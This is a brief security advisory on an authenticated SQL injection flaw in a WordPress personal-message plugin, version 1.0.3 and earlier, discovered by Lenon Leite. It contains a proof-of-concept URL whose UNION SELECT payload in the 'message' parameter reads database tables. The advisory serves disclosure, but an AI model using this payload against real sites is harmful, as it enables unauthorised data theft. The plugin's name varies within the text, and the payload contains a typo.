WordPress Simple Personal Message plugin <= 1.0.3 - Authenticated (Subscriber+) SQL Injection vulnerability

Authenticated Subscriber+ SQL Injection vulnerability discovered by Lenon Leite in WordPress Plugin Single Personal Message versions = 1.0.3...

Single Personal Message 1.0.3 – Authenticated SQL Injection

Type user access: any user. $GET‘message’ is not escaped. Is accessible for every registered user. http://www.example.com/wp-admin/admin.php?page=simple-personal-message-outbox&action=view&message=0%20UNION%20SELECT%201,2.3,name,5,slug,7,8,9,10,11,12%20FROM%20wpterms%20WHERE%20termid=1...